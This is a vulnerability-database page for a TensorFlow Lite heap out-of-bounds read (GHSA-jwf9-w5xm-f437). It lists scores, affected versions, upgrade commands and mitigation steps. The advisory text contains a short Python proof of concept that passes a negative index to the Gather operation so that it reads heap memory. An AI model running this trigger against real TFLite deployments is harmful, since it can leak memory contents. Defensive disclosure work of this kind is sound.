Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

Heap OOB in TFLite's `Gather*` implementationsGHSA-jwf9-w5xm-f437

MEDIUMFix: tensorflow/tensorflow@bb6a038

GHSA-jwf9-w5xm-f437 is a medium-severity (CVSS 5.5) Out-of-bounds Read vulnerability in tensorflow. A fix is available for tensorflow — see the affected versions and patch details below.

Also known asBIT-tensorflow-2021-37687CVE-2021-37687PYSEC-2021-309PYSEC-2021-600PYSEC-2021-798
Published
Updated
Affected
9 pkgs
Patched
9 / 9
Exploits
None indexed
Exploitation data as of Oct 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk
0.00%0.23%0.46%0.69%0.0%0.2%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-jwf9-w5xm-f437 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

9 pkgs affected
🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow-gpu+1 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess:
   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
   tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()

input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()

params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)

interpreter.invoke()

Patches

We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.

Affected Packages

9 total 9 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.3.4pip install --upgrade 'tensorflow==2.3.4'
🐍PyPItensorflow≥ 2.4.0&&< 2.4.32.4.3pip install --upgrade 'tensorflow==2.4.3'
🐍PyPItensorflow≥ 2.5.0&&< 2.5.12.5.1pip install --upgrade 'tensorflow==2.5.1'
🐍PyPItensorflow-cpuall versions2.3.4pip install --upgrade 'tensorflow-cpu==2.3.4'
🐍PyPItensorflow-cpu≥ 2.4.0&&< 2.4.32.4.3pip install --upgrade 'tensorflow-cpu==2.4.3'
🐍PyPItensorflow-cpu≥ 2.5.0&&< 2.5.12.5.1pip install --upgrade 'tensorflow-cpu==2.5.1'

Affected Products

1 product · 6 configurations
Application
tensorflowgoogle
≥ 2.4.0 && < 2.4.3
2 versions
2.5.02.6.0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tensorflow to 2.3.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jwf9-w5xm-f437 is resolved across your whole dependency graph.

  3. Workarounds

    Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.

Frequently Asked Questions

### Impact TFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). ```python import tensorflow as tf import numpy
O3 Security · Impact-Aware SCA

Is GHSA-jwf9-w5xm-f437 in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works
Heap OOB in TFLite's `Gather*` implementations